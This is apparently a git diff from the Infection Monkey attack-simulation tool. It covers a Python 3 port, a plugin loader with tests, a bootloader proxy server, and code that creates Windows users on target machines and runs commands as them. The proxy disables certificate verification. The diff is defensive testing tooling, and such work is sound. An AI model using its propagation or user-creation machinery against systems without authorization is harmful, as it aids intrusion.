sock.sendto(b"-", (address, MCAST_PORT)) sock.close() LOG.debug("Success quitting tunnel") except Exception as exc: @@ -147,17 +146,17 @@ class MonkeyTunnel(Thread): while not self._stopped: try: search, address = self._broad_sock.recvfrom(BUFFER_READ) - if '?' == search: + if b'?' == search: ip_match = get_interface_to_target(address[0]) if ip_match: answer = '%s:%d' % (ip_match, self.local_port) LOG.debug("Got tunnel request from %s, answering with %s", address[0], answer) - self._broad_sock.sendto(answer, (address[0], MCAST_PORT)) - elif '+' == search: + self._broad_sock.sendto(answer.encode(), (address[0], MCAST_PORT)) + elif b'+' == search: if not address[0] in self._clients: LOG.debug("Tunnel control: Added %s to watchlist", address[0]) self._clients.append(address[0]) - elif '-' == search: + elif b'-' == search: LOG.debug("Tunnel control: Removed %s from watchlist", address[0]) self._clients = [client for client in self._clients if client != address[0]] @@ -170,7 +169,7 @@ class MonkeyTunnel(Thread): while self._clients and (time.time() - get_last_serve_time() < QUIT_TIMEOUT): try: search, address = self._broad_sock.recvfrom(BUFFER_READ) - if '-' == search: + if b'-' == search: LOG.debug("Tunnel control: Removed %s from watchlist", address[0]) self._clients = [client for client in self._clients if client != address[0]] except socket.timeout: diff --git a/monkey/infection_monkey/utils/auto_new_user.py b/monkey/infection_monkey/utils/auto_new_user.py index e749020d6..0a34d93c0 100644 --- a/monkey/infection_monkey/utils/auto_new_user.py +++ b/monkey/infection_monkey/utils/auto_new_user.py @@ -4,7 +4,7 @@ import abc logger = logging.getLogger(__name__) -class AutoNewUser: +class AutoNewUser(metaclass=abc.ABCMeta): """ RAII object to use for creating and using a new user. Use with `with`. User will be created when the instance is instantiated. @@ -19,7 +19,6 @@ class AutoNewUser: # Logged off and deleted ... """ - __metaclass__ = abc.ABCMeta def __init__(self, username, password): self.username = username diff --git a/monkey/infection_monkey/utils/plugins/__init__.py b/monkey/infection_monkey/utils/plugins/__init__.py new file mode 100644 index 000000000..e69de29bb diff --git a/monkey/infection_monkey/utils/plugins/plugin.py b/monkey/infection_monkey/utils/plugins/plugin.py new file mode 100644 index 000000000..d80ebccc1 --- /dev/null +++ b/monkey/infection_monkey/utils/plugins/plugin.py @@ -0,0 +1,81 @@ +import importlib +import inspect +import logging +from abc import ABCMeta, abstractmethod +from os.path import dirname, basename, isfile, join +import glob +from typing import Sequence, TypeVar, Type, Callable + +LOG = logging.getLogger(__name__) + + +def _get_candidate_files(base_package_file): + files = glob.glob(join(dirname(base_package_file), "*.py")) + return [basename(f)[:-3] for f in files if isfile(f) and not f.endswith('__init__.py')] + + +PluginType = TypeVar('PluginType', bound='Plugin') + + +class Plugin(metaclass=ABCMeta): + + @staticmethod + @abstractmethod + def should_run(class_name: str) -> bool: + raise NotImplementedError() + + @classmethod + def get_classes(cls) -> Sequence[Callable]: + """ + Returns the class objects from base_package_spec + base_package name and file must refer to the same package otherwise bad results + :return: A list of parent_class classes. + """ + objects = [] + candidate_files = _get_candidate_files(cls.base_package_file()) + LOG.info("looking for classes of type {} in {}".format(cls.__name__, cls.base_package_name())) + # Go through all of files + for file in candidate_files: + # Import module from that file + module = importlib.import_module('.' + file, cls.base_package_name()) + # Get all classes in a module + # m[1] because return object is (name,class) + classes = [m[1] for m in inspect.getmembers(module, inspect.isclass) + if ((m[1].__module__ == module.__name__) and issubclass(m[1], cls))] + # Get object from class + for class_object in classes: + LOG.debug("Checking if should run object {}".format(class_object.__name__)) + try: + if class_object.should_run(class_object.__name__): + objects.append(class_object) + LOG.debug("Added {} to list".format(class_object.__name__)) + except Exception as e: + LOG.warning("Exception {} when checking if {} should run".format(str(e), class_object.__name__)) + return objects + + @classmethod + def get_instances(cls) -> Sequence[Type[PluginType]]: + """ + Returns the type objects from base_package_spec. + base_package name and file must refer to the same package otherwise bad results + :return: A list of parent_class objects. + """ + class_objects = cls.get_classes() + instances = [] + for class_object in class_objects: + try: + instance = class_object() + instances.append(instance) + except Exception as e: + LOG.warning("Exception {} when initializing {}".format(str(e), class_object.__name__)) + return instances + + @staticmethod + @abstractmethod + def base_package_file(): + pass + + @staticmethod + @abstractmethod + def base_package_name(): + pass diff --git a/monkey/infection_monkey/utils/plugins/pluginTests/BadImport.py b/monkey/infection_monkey/utils/plugins/pluginTests/BadImport.py new file mode 100644 index 000000000..ffd3ebb2d --- /dev/null +++ b/monkey/infection_monkey/utils/plugins/pluginTests/BadImport.py @@ -0,0 +1,5 @@ +from infection_monkey.utils.plugins.pluginTests.PluginTestClass import TestPlugin # noqa: F401 + + +class SomeDummyPlugin: + pass diff --git a/monkey/infection_monkey/utils/plugins/pluginTests/BadInit.py b/monkey/infection_monkey/utils/plugins/pluginTests/BadInit.py new file mode 100644 index 000000000..18e83c052 --- /dev/null +++ b/monkey/infection_monkey/utils/plugins/pluginTests/BadInit.py @@ -0,0 +1,7 @@ +from infection_monkey.utils.plugins.pluginTests.PluginTestClass import TestPlugin + + +class BadPluginInit(TestPlugin): + + def __init__(self): + raise Exception("TestException") diff --git a/monkey/infection_monkey/utils/plugins/pluginTests/ComboFile.py b/monkey/infection_monkey/utils/plugins/pluginTests/ComboFile.py new file mode 100644 index 000000000..2d73cd65b --- /dev/null +++ b/monkey/infection_monkey/utils/plugins/pluginTests/ComboFile.py @@ -0,0 +1,15 @@ +from infection_monkey.utils.plugins.pluginTests.PluginTestClass import TestPlugin + + +class NoInheritance: + pass + + +class BadInit(TestPlugin): + + def __init__(self): + raise Exception("TestException") + + +class ProperClass(TestPlugin): + pass diff --git a/monkey/infection_monkey/utils/plugins/pluginTests/PluginTestClass.py b/monkey/infection_monkey/utils/plugins/pluginTests/PluginTestClass.py new file mode 100644 index 000000000..a3785e875 --- /dev/null +++ b/monkey/infection_monkey/utils/plugins/pluginTests/PluginTestClass.py @@ -0,0 +1,22 @@ +from infection_monkey.utils.plugins.plugin import Plugin +import infection_monkey.utils.plugins.pluginTests + + +class TestPlugin(Plugin): + classes_to_load = [] + + @staticmethod + def should_run(class_name): + """ + Decides if post breach action is enabled in config + :return: True if it needs to be ran, false otherwise + """ + return class_name in TestPlugin.classes_to_load + + @staticmethod + def base_package_file(): + return infection_monkey.utils.plugins.pluginTests.__file__ + + @staticmethod + def base_package_name(): + return infection_monkey.utils.plugins.pluginTests.__package__ diff --git a/monkey/infection_monkey/utils/plugins/pluginTests/PluginWorking.py b/monkey/infection_monkey/utils/plugins/pluginTests/PluginWorking.py new file mode 100644 index 000000000..a3fe237b6 --- /dev/null +++ b/monkey/infection_monkey/utils/plugins/pluginTests/PluginWorking.py @@ -0,0 +1,5 @@ +from infection_monkey.utils.plugins.pluginTests.PluginTestClass import TestPlugin + + +class PluginWorking(TestPlugin): + pass diff --git a/monkey/infection_monkey/utils/plugins/pluginTests/__init__.py b/monkey/infection_monkey/utils/plugins/pluginTests/__init__.py new file mode 100644 index 000000000..e69de29bb diff --git a/monkey/infection_monkey/utils/plugins/plugin_test.py b/monkey/infection_monkey/utils/plugins/plugin_test.py new file mode 100644 index 000000000..7841c6c6a --- /dev/null +++ b/monkey/infection_monkey/utils/plugins/plugin_test.py @@ -0,0 +1,36 @@ +from unittest import TestCase + +from infection_monkey.utils.plugins.pluginTests.ComboFile import BadInit, ProperClass +from infection_monkey.utils.plugins.pluginTests.PluginWorking import PluginWorking +from infection_monkey.utils.plugins.pluginTests.BadImport import SomeDummyPlugin +from infection_monkey.utils.plugins.pluginTests.BadInit import BadPluginInit +from infection_monkey.utils.plugins.pluginTests.PluginTestClass import TestPlugin + + +class PluginTester(TestCase): + + def test_combo_file(self): + TestPlugin.classes_to_load = [BadInit.__name__, ProperClass.__name__] + to_init = TestPlugin.get_classes() + self.assertEqual(len(to_init), 2) + objects = TestPlugin.get_instances() + self.assertEqual(len(objects), 1) + + def test_bad_init(self): + TestPlugin.classes_to_load = [BadPluginInit.__name__] + to_init = TestPlugin.get_classes() + self.assertEqual(len(to_init), 1) + objects = TestPlugin.get_instances() + self.assertEqual(len(objects), 0) + + def test_bad_import(self): + TestPlugin.classes_to_load = [SomeDummyPlugin.__name__] + to_init = TestPlugin.get_classes() + self.assertEqual(len(to_init), 0) + + def test_flow(self): + TestPlugin.classes_to_load = [PluginWorking.__name__] + to_init = TestPlugin.get_classes() + self.assertEqual(len(to_init), 1) + objects = TestPlugin.get_instances() + self.assertEqual(len(objects), 1) diff --git a/monkey/infection_monkey/utils/users.py b/monkey/infection_monkey/utils/users.py index 68148d9e9..b2f29db85 100644 --- a/monkey/infection_monkey/utils/users.py +++ b/monkey/infection_monkey/utils/users.py @@ -6,5 +6,3 @@ def get_commands_to_add_user(username, password): linux_cmds = get_linux_commands_to_add_user(username) windows_cmds = get_windows_commands_to_add_user(username, password) return linux_cmds, windows_cmds - - diff --git a/monkey/infection_monkey/utils/windows/users.py b/monkey/infection_monkey/utils/windows/users.py index cf6eb73c4..fcd364032 100644 --- a/monkey/infection_monkey/utils/windows/users.py +++ b/monkey/infection_monkey/utils/windows/users.py @@ -5,7 +5,7 @@ from infection_monkey.utils.auto_new_user import AutoNewUser from infection_monkey.utils.new_user_error import NewUserError ACTIVE_NO_NET_USER = '/ACTIVE:NO' -WAIT_TIMEOUT_IN_MILLISECONDS = 20 * 1000 +WAIT_TIMEOUT_IN_MILLISECONDS = 60 * 1000 logger = logging.getLogger(__name__) @@ -65,8 +65,7 @@ class AutoNewWindowsUser(AutoNewUser): self.username, ".", # Use current domain. self.password, - win32con.LOGON32_LOGON_INTERACTIVE, # Logon type - interactive (normal user). Need this to open ping - # using a shell. + win32con.LOGON32_LOGON_INTERACTIVE, # Logon type - interactive (normal user), since we're using a shell. win32con.LOGON32_PROVIDER_DEFAULT) # Which logon provider to use - whatever Windows offers. except Exception as err: raise NewUserError("Can't logon as {}. Error: {}".format(self.username, str(err))) @@ -78,33 +77,28 @@ class AutoNewWindowsUser(AutoNewUser): import win32process import win32api import win32event + from winsys import _advapi32 exit_code = -1 process_handle = None thread_handle = None try: - # Open process as that user: - # https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createprocessasusera - process_handle, thread_handle, _, _ = win32process.CreateProcessAsUser( - self.get_logon_handle(), # A handle to the primary token that represents a user. - None, # The name of the module to be executed. - command, # The command line to be executed. - None, # Process attributes - None, # Thread attributes - True, # Should inherit handles - win32con.NORMAL_PRIORITY_CLASS, # The priority class and the creation of the process. - None, # An environment block for the new process. If this parameter is NULL, the new process - # uses the environment of the calling process. - None, # CWD. If this parameter is NULL, the new process will have the same current drive and - # directory as the calling process. - win32process.STARTUPINFO() # STARTUPINFO structure. - # https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/ns-processthreadsapi-startupinfoa + # Open process as that user + # https://github.com/tjguk/winsys/blob/master/winsys/_advapi32.py + proc_info = _advapi32.CreateProcessWithLogonW( + username=self.username, + domain=".", + password=self.password, + command_line=command ) + process_handle = proc_info.hProcess + thread_handle = proc_info.hThread logger.debug( "Waiting for process to finish. Timeout: {}ms".format(WAIT_TIMEOUT_IN_MILLISECONDS)) + # https://social.msdn.microsoft.com/Forums/vstudio/en-US/b6d6a7ae-71e9-4edb-ac8f-408d2a41750d/what-events-on-a-process-handle-signal-satisify-waitforsingleobject?forum=vcgeneral # Ignoring return code, as we'll use `GetExitCode` to determine the state of the process later. _ = win32event.WaitForSingleObject( # Waits until the specified object is signaled, or time-out. process_handle, # Ping process handle diff --git a/monkey/monkey_island.py b/monkey/monkey_island.py index 104b5efdf..b3b74e6b3 100644 --- a/monkey/monkey_island.py +++ b/monkey/monkey_island.py @@ -1,4 +1,16 @@ -import monkey_island.cc.main +from monkey_island.cc.main import main + + +def parse_cli_args(): + import argparse + parser = argparse.ArgumentParser(description="Infection Monkey Island CnC Server. See https://infectionmonkey.com") + parser.add_argument("-s", "--setup-only", action="store_true", + help="Pass this flag to cause the Island to setup and exit without actually starting. This is useful " + "for preparing Island to boot faster later-on, so for compiling/packaging Islands.") + args = parser.parse_args() + return args.setup_only + if "__main__" == __name__: - monkey_island.cc.main.main() + is_setup_only = parse_cli_args() + main(is_setup_only) diff --git a/monkey/monkey_island/cc/app.py b/monkey/monkey_island/cc/app.py index 03d30a229..3a1134930 100644 --- a/monkey/monkey_island/cc/app.py +++ b/monkey/monkey_island/cc/app.py @@ -1,11 +1,8 @@ import os import uuid -from datetime import datetime -import bson import flask_restful -from bson.json_util import dumps -from flask import Flask, send_from_directory, make_response, Response +from flask import Flask, send_from_directory, Response from werkzeug.exceptions import NotFound from monkey_island.cc.auth import init_jwt @@ -22,26 +19,29 @@ from monkey_island.cc.resources.island_configuration import IslandConfiguration from monkey_island.cc.resources.monkey_download import MonkeyDownload from monkey_island.cc.resources.netmap import NetMap from monkey_island.cc.resources.node import Node +from monkey_island.cc.resources.node_states import NodeStates from monkey_island.cc.resources.remote_run import RemoteRun from monkey_island.cc.resources.reporting.report import Report from monkey_island.cc.resources.root import Root from monkey_island.cc.resources.telemetry import Telemetry from monkey_island.cc.resources.telemetry_feed import TelemetryFeed from monkey_island.cc.resources.pba_file_download import PBAFileDownload +from monkey_island.cc.resources.test.clear_caches import ClearCaches from monkey_island.cc.resources.version_update import VersionUpdate -from monkey_island.cc.services.database import Database -from monkey_island.cc.consts import MONKEY_ISLAND_ABS_PATH -from monkey_island.cc.services.remote_run_aws import RemoteRunAwsService from monkey_island.cc.resources.pba_file_upload import FileUpload from monkey_island.cc.resources.attack.attack_config import AttackConfiguration from monkey_island.cc.resources.attack.attack_report import AttackReport +from monkey_island.cc.resources.bootloader import Bootloader +from monkey_island.cc.services.database import Database +from monkey_island.cc.services.remote_run_aws import RemoteRunAwsService +from monkey_island.cc.services.representations import output_json +from monkey_island.cc.consts import MONKEY_ISLAND_ABS_PATH from monkey_island.cc.resources.test.monkey_test import MonkeyTest from monkey_island.cc.resources.test.log_test import LogTest __author__ = 'Barak' - HOME_FILE = 'index.html' @@ -62,32 +62,6 @@ def serve_home(): return serve_static_file(HOME_FILE) -def normalize_obj(obj): - if '_id' in obj and not 'id' in obj: - obj['id'] = obj['_id'] - del obj['_id'] - - for key, value in obj.items(): - if type(value) is bson.objectid.ObjectId: - obj[key] = str(value) - if type(value) is datetime: - obj[key] = str(value) - if type(value) is dict: - obj[key] = normalize_obj(value) - if type(value) is list: - for i in range(0, len(value)): - if type(value[i]) is dict: - value[i] = normalize_obj(value[i]) - return obj - - -def output_json(obj, code, headers=None): - obj = normalize_obj(obj) - resp = make_response(dumps(obj), code) - resp.headers.extend(headers or {}) - return resp - - def init_app_config(app, mongo_url): app.config['MONGO_URI'] = mongo_url app.config['SECRET_KEY'] = str(uuid.getnode()) @@ -115,6 +89,7 @@ def init_app_url_rules(app): def init_api_resources(api): api.add_resource(Root, '/api') api.add_resource(Monkey, '/api/monkey', '/api/monkey/', '/api/monkey/<string:guid>') + api.add_resource(Bootloader, '/api/bootloader/<string:os>') api.add_resource(LocalRun, '/api/local-monkey', '/api/local-monkey/') api.add_resource(ClientRun, '/api/client-monkey', '/api/client-monkey/') api.add_resource(Telemetry, '/api/telemetry', '/api/telemetry/', '/api/telemetry/<string:monkey_guid>') @@ -125,6 +100,7 @@ def init_api_resources(api): api.add_resource(NetMap, '/api/netmap', '/api/netmap/') api.add_resource(Edge, '/api/netmap/edge', '/api/netmap/edge/') api.add_resource(Node, '/api/netmap/node', '/api/netmap/node/') + api.add_resource(NodeStates, '/api/netmap/nodeStates') # report_type: zero_trust or security api.add_resource( @@ -145,6 +121,7 @@ def init_api_resources(api): api.add_resource(VersionUpdate, '/api/version-update', '/api/version-update/') api.add_resource(MonkeyTest, '/api/test/monkey') + api.add_resource(ClearCaches, '/api/test/clear_caches') api.add_resource(LogTest, '/api/test/log') diff --git a/monkey/monkey_island/cc/bootloader_server.py b/monkey/monkey_island/cc/bootloader_server.py new file mode 100644 index 000000000..5adfb3d22 --- /dev/null +++ b/monkey/monkey_island/cc/bootloader_server.py @@ -0,0 +1,49 @@ +from http.server import HTTPServer, BaseHTTPRequestHandler +from socketserver import ThreadingMixIn +from urllib import parse +import urllib3 +import logging + +import requests +import pymongo + +from monkey_island.cc.environment import Environment + +# Disable "unverified certificate" warnings when sending requests to island +urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) +logger = logging.getLogger(__name__) + + +class BootloaderHttpServer(ThreadingMixIn, HTTPServer): + + def __init__(self, mongo_url): + self.mongo_client = pymongo.MongoClient(mongo_url) + server_address = ('', 5001) + super().__init__(server_address, BootloaderHTTPRequestHandler) + + +class BootloaderHTTPRequestHandler(BaseHTTPRequestHandler): + + def do_POST(self): + content_length = int(self.headers['Content-Length']) + post_data = self.rfile.read(content_length).decode() + island_server_path = BootloaderHTTPRequestHandler.get_bootloader_resource_url(self.request.getsockname()[0]) + island_server_path = parse.urljoin(island_server_path, self.path[1:]) + r = requests.post(url=island_server_path, data=post_data, verify=False) + + try: + if r.status_code != 200: + self.send_response(404) + else: + self.send_response(200) + self.end_headers() + self.wfile.write(r.content) + except Exception as e: + logger.error("Failed to respond to bootloader: {}".format(e)) + finally: + self.connection.close() + + @staticmethod + def get_bootloader_resource_url(server_ip): + return "https://" + server_ip + ":" + str(Environment._ISLAND_PORT) + "/api/bootloader/" + diff --git a/monkey/monkey_island/cc/encryptor.py b/monkey/monkey_island/cc/encryptor.py index 98473b60a..585c84f87 100644 --- a/monkey/monkey_island/cc/encryptor.py +++ b/monkey/monkey_island/cc/encryptor.py @@ -35,19 +35,19 @@ class Encryptor: return message + (self._BLOCK_SIZE - (len(message) % self._BLOCK_SIZE)) * chr( self._BLOCK_SIZE - (len(message) % self._BLOCK_SIZE)) - def _unpad(self, message): + def _unpad(self, message: str): return message[0:-ord(message[len(message) - 1])] - def enc(self, message): + def enc(self, message: str): cipher_iv = Random.new().read(AES.block_size) cipher = AES.new(self._cipher_key, AES.MODE_CBC, cipher_iv) - return base64.b64encode(cipher_iv + cipher.encrypt(str(self._pad(message)))) # ciper.encrypt expects str + return base64.b64encode(cipher_iv + cipher.encrypt(self._pad(message).encode())).decode() def dec(self, enc_message): enc_message = base64.b64decode(enc_message) cipher_iv = enc_message[0:AES.block_size] cipher = AES.new(self._cipher_key, AES.MODE_CBC, cipher_iv) - return self._unpad(cipher.decrypt(enc_message[AES.block_size:])) + return self._unpad(cipher.decrypt(enc_message[AES.block_size:]).decode()) encryptor = Encryptor() diff --git a/monkey/monkey_island/cc/environment/__init__.py b/monkey/monkey_island/cc/environment/__init__.py index a8192fae3..ec7c7a0f4 100644 --- a/monkey/monkey_island/cc/environment/__init__.py +++ b/monkey/monkey_island/cc/environment/__init__.py @@ -1,4 +1,4 @@ -import abc +from abc import ABCMeta, abstractmethod from datetime import timedelta import os from Crypto.Hash import SHA3_512 @@ -6,9 +6,7 @@ from Crypto.Hash import SHA3_512 __author__ = 'itay.mizeretz' -class Environment(object): - __metaclass__ = abc.ABCMeta - +class Environment(object, metaclass=ABCMeta): _ISLAND_PORT = 5000 _MONGO_DB_NAME = "monkeyisland" _MONGO_DB_HOST = "localhost" @@ -28,8 +26,6 @@ class Environment(object): def testing(self, value): self._testing = value - _MONKEY_VERSION = "1.7.0" - def __init__(self): self.config = None self._testing = False # Assume env is not for unit testing. @@ -60,16 +56,13 @@ class Environment(object): def is_develop(self): return self.get_deployment() == 'develop' - def get_version(self): - return self._MONKEY_VERSION + ('-dev' if self.is_develop() else '') - def _get_from_config(self, key, default_value=None): val = default_value if self.config is not None: val = self.config.get(key, val) return val - @abc.abstractmethod + @abstractmethod def get_auth_users(self): return diff --git a/monkey/monkey_island/cc/environment/aws.py b/monkey/monkey_island/cc/environment/aws.py index 797a395aa..5608bddcd 100644 --- a/monkey/monkey_island/cc/environment/aws.py +++ b/monkey/monkey_island/cc/environment/aws.py @@ -1,7 +1,6 @@ import monkey_island.cc.auth from monkey_island.cc.environment import Environment -from common.cloud.aws_instance import AwsInstance -from Crypto.Hash import SHA3_512 +from common.cloud.aws.aws_instance import AwsInstance __author__ = 'itay.mizeretz' diff --git a/monkey/monkey_island/cc/environment/environment.py b/monkey/monkey_island/cc/environment/environment.py index 6115e8dd9..868e6ec36 100644 --- a/monkey/monkey_island/cc/environment/environment.py +++ b/monkey/monkey_island/cc/environment/environment.py @@ -34,8 +34,8 @@ def load_server_configuration_from_file(): def load_env_from_file(): - config_json = load_server_configuration_from_file() - return config_json['server_config'] + loaded_config_json = load_server_configuration_from_file() + return loaded_config_json['server_config'] try: diff --git a/monkey/monkey_island/cc/environment/testing.py b/monkey/monkey_island/cc/environment/testing.py index 087c3a2e3..e504a8357 100644 --- a/monkey/monkey_island/cc/environment/testing.py +++ b/monkey/monkey_island/cc/environment/testing.py @@ -2,6 +2,11 @@ from monkey_island.cc.environment import Environment class TestingEnvironment(Environment): + """ + Use this environment for running Unit Tests. + This will cause all mongo connections to happen via `mongomock` instead of using an actual mongodb instance. + """ + def __init__(self): super(TestingEnvironment, self).__init__() self.testing = True diff --git a/monkey/monkey_island/cc/island_logger.py b/monkey/monkey_island/cc/island_logger.py index 8fbef1e0e..f55fcf896 100644 --- a/monkey/monkey_island/cc/island_logger.py +++ b/monkey/monkey_island/cc/island_logger.py @@ -2,7 +2,6 @@ import os import json import logging.config - __author__ = 'Maor.Rayzin' diff --git a/monkey/monkey_island/cc/island_logger_default_config.json b/monkey/monkey_island/cc/island_logger_default_config.json index 34a57b374..522177cda 100644 --- a/monkey/monkey_island/cc/island_logger_default_config.json +++ b/monkey/monkey_island/cc/island_logger_default_config.json @@ -1,33 +1,33 @@ { - "version": 1, - "disable_existing_loggers": false, - "formatters": { - "simple": { - "format": "%(asctime)s - %(filename)s:%(lineno)s - %(funcName)10s() - %(levelname)s - %(message)s" - } - }, - - "handlers": { - "console": { - "class": "logging.StreamHandler", - "level": "DEBUG", - "formatter": "simple", - "stream": "ext://sys.stdout" - }, - - "info_file_handler": { - "class": "logging.handlers.RotatingFileHandler", - "level": "INFO", - "formatter": "simple", - "filename": "info.log", - "maxBytes": 10485760, - "backupCount": 20, - "encoding": "utf8" - } - }, - - "root": { - "level": "DEBUG", - "handlers": ["console", "info_file_handler"] + "version": 1, + "disable_existing_loggers": false, + "formatters": { + "simple": { + "format": "%(asctime)s - %(filename)s:%(lineno)s - %(funcName)10s() - %(levelname)s - %(message)s" } + }, + "handlers": { + "console": { + "class": "logging.StreamHandler", + "level": "DEBUG", + "formatter": "simple", + "stream": "ext://sys.stdout" + }, + "info_file_handler": { + "class": "logging.handlers.RotatingFileHandler", + "level": "INFO", + "formatter": "simple", + "filename": "info.log", + "maxBytes": 10485760, + "backupCount": 20, + "encoding": "utf8" + } + }, + "root": { + "level": "DEBUG", + "handlers": [ + "console", + "info_file_handler" + ] + } } \ No newline at end of file diff --git a/monkey/monkey_island/cc/main.py b/monkey/monkey_island/cc/main.py index 5545e79f5..50e3bdd7c 100644 --- a/monkey/monkey_island/cc/main.py +++ b/monkey/monkey_island/cc/main.py @@ -1,10 +1,9 @@ -from __future__ import print_function # In python 2.7 - import os import os.path import sys import time import logging +from threading import Thread MINIMUM_MONGO_DB_VERSION_REQUIRED = "3.6.0" @@ -15,6 +14,7 @@ if BASE_PATH not in sys.path: from monkey_island.cc.island_logger import json_setup_logging from monkey_island.cc.consts import MONKEY_ISLAND_ABS_PATH + # This is here in order to catch EVERYTHING, some functions are being called on imports the log init needs to be on top. json_setup_logging(default_path=os.path.join(MONKEY_ISLAND_ABS_PATH, 'cc', 'island_logger_default_config.json'), default_level=logging.DEBUG) @@ -26,9 +26,22 @@ from monkey_island.cc.utils import local_ip_addresses from monkey_island.cc.environment.environment import env from monkey_island.cc.database import is_db_server_up, get_db_version from monkey_island.cc.resources.monkey_download import MonkeyDownload +from common.version import get_version +from monkey_island.cc.bootloader_server import BootloaderHttpServer +from monkey_island.cc.setup import setup -def main(): +def main(should_setup_only=False): + logger.info("Starting bootloader server") + mongo_url = os.environ.get('MONGO_URL', env.get_mongo_url()) + bootloader_server_thread = Thread(target=BootloaderHttpServer(mongo_url).serve_forever, daemon=True) + + bootloader_server_thread.start() + start_island_server(should_setup_only) + bootloader_server_thread.join() + + +def start_island_server(should_setup_only): from tornado.wsgi import WSGIContainer from tornado.httpserver import HTTPServer from tornado.ioloop import IOLoop @@ -43,6 +56,12 @@ def main(): crt_path = os.path.join(MONKEY_ISLAND_ABS_PATH, 'cc', 'server.crt') key_path = os.path.join(MONKEY_ISLAND_ABS_PATH, 'cc', 'server.key') + setup() + + if should_setup_only: + logger.warning("Setup only flag passed. Exiting.") + return + if env.is_debug(): app.run(host='0.0.0.0', debug=True, ssl_context=(crt_path, key_path)) else: @@ -55,8 +74,9 @@ def main(): def log_init_info(): - logger.info( - 'Monkey Island Server is running. Listening on the following URLs: {}'.format( + logger.info('Monkey Island Server is running!') + logger.info(f"version: {get_version()}") + logger.info('Listening on the following URLs: {}'.format( ", ".join(["https://{}:{}".format(x, env.get_island_port()) for x in local_ip_addresses()]) ) ) diff --git a/monkey/monkey_island/cc/models/__init__.py b/monkey/monkey_island/cc/models/__init__.py index 58e950914..94d56d6a8 100644 --- a/monkey/monkey_island/cc/models/__init__.py +++ b/monkey/monkey_island/cc/models/__init__.py @@ -6,15 +6,15 @@ from monkey_island.cc.environment.environment import env # If testing, use mongomock which only emulates mongo. for more information, see # http://docs.mongoengine.org/guide/mongomock.html . # Otherwise, use an actual mongod instance with connection parameters supplied by env. -if env.testing: +if env.testing: # See monkey_island.cc.environment.testing connect('mongoenginetest', host='mongomock://localhost') else: connect(db=env.mongo_db_name, host=env.mongo_db_host, port=env.mongo_db_port) # Order of importing matters here, for registering the embedded and referenced documents before using them. -from config import Config -from creds import Creds -from monkey_ttl import MonkeyTtl -from pba_results import PbaResults -from command_control_channel import CommandControlChannel -from monkey import Monkey +from .config import Config +from .creds import Creds +from .monkey_ttl import MonkeyTtl +from .pba_results import PbaResults +from .command_control_channel import CommandControlChannel +from .monkey import Monkey diff --git a/monkey/monkey_island/cc/models/attack/__init__.py b/monkey/monkey_island/cc/models/attack/__init__.py new file mode 100644 index 000000000..e69de29bb diff --git a/monkey/monkey_island/cc/models/attack/attack_mitigations.py b/monkey/monkey_island/cc/models/attack/attack_mitigations.py new file mode 100644 index 000000000..a51778c48 --- /dev/null +++ b/monkey/monkey_island/cc/models/attack/attack_mitigations.py @@ -0,0 +1,45 @@ +from typing import Dict + +from mongoengine import Document, StringField, DoesNotExist, EmbeddedDocumentField, ListField +from monkey_island.cc.models.attack.mitigation import Mitigation +from stix2 import AttackPattern, CourseOfAction + +from monkey_island.cc.services.attack.test_mitre_api_interface import MitreApiInterface + + +class AttackMitigations(Document): + + COLLECTION_NAME = "attack_mitigations" + + technique_id = StringField(required=True, primary_key=True) + mitigations = ListField(EmbeddedDocumentField('Mitigation')) + + @staticmethod + def get_mitigation_by_technique_id(technique_id: str) -> Document: + try: + return AttackMitigations.objects.get(technique_id=technique_id) + except DoesNotExist: + raise Exception("Attack technique with id {} does not exist!".format(technique_id)) + + def add_mitigation(self, mitigation: CourseOfAction): + mitigation_external_ref_id = MitreApiInterface.get_stix2_external_reference_id(mitigation) + if mitigation_external_ref_id.startswith('M'): + self.mitigations.append(Mitigation.get_from_stix2_data(mitigation)) + + def add_no_mitigations_info(self, mitigation: CourseOfAction): + mitigation_external_ref_id = MitreApiInterface.get_stix2_external_reference_id(mitigation) + if mitigation_external_ref_id.startswith('T') and len(self.mitigations) == 0: + mitigation_mongo_object = Mitigation.get_from_stix2_data(mitigation) + mitigation_mongo_object['description'] = mitigation_mongo_object['description'].splitlines()[0] + mitigation_mongo_object['url'] = '' + self.mitigations.append(mitigation_mongo_object) + + @staticmethod + def mitigations_from_attack_pattern(attack_pattern: AttackPattern): + return AttackMitigations(technique_id=MitreApiInterface.get_stix2_external_reference_id(attack_pattern), + mitigations=[]) + + @staticmethod + def dict_from_stix2_attack_patterns(stix2_dict: Dict[str, AttackPattern]): + return {key: AttackMitigations.mitigations_from_attack_pattern(attack_pattern) + for key, attack_pattern in stix2_dict.items()} diff --git a/monkey/monkey_island/cc/models/attack/mitigation.py b/monkey/monkey_island/cc/models/attack/mitigation.py new file mode 100644 index 000000000..670462257 --- /dev/null +++ b/monkey/monkey_island/cc/models/attack/mitigation.py @@ -0,0 +1,19 @@ +from mongoengine import StringField, EmbeddedDocument +from stix2 import CourseOfAction + +from monkey_island.cc.services.attack.test_mitre_api_interface import MitreApiInterface + + +class Mitigation(EmbeddedDocument): + + name = StringField(required=True) + description = StringField(required=True) + url = StringField() + + @staticmethod + def get_from_stix2_data(mitigation: CourseOfAction): + name = mitigation['name'] + description = mitigation['description'] + url = MitreApiInterface.get_stix2_external_reference_url(mitigation) + return Mitigation(name=name, description=description, url=url) + diff --git a/monkey/monkey_island/cc/models/monkey.py b/monkey/monkey_island/cc/models/monkey.py index a8a7da2ec..f658a3d06 100644 --- a/monkey/monkey_island/cc/models/monkey.py +++ b/monkey/monkey_island/cc/models/monkey.py @@ -9,6 +9,7 @@ from monkey_island.cc.models.monkey_ttl import MonkeyTtl, create_monkey_ttl_docu from monkey_island.cc.consts import DEFAULT_MONKEY_TTL_EXPIRY_DURATION_IN_SECONDS from monkey_island.cc.models.command_control_channel import CommandControlChannel from monkey_island.cc.utils import local_ip_addresses +from common.cloud import environment_names MAX_MONKEYS_AMOUNT_TO_CACHE = 100 @@ -42,7 +43,12 @@ class Monkey(Document): ttl_ref = ReferenceField(MonkeyTtl) tunnel = ReferenceField("self") command_control_channel = EmbeddedDocumentField(CommandControlChannel) + + # Environment related fields + environment = StringField(default=environment_names.Environment.UNKNOWN.value, + choices=environment_names.ALL_ENVIRONMENTS_NAMES) aws_instance_id = StringField(required=False) # This field only exists when the monkey is running on an AWS + # instance. See https://github.com/guardicore/monkey/issues/426. # LOGIC @@ -51,14 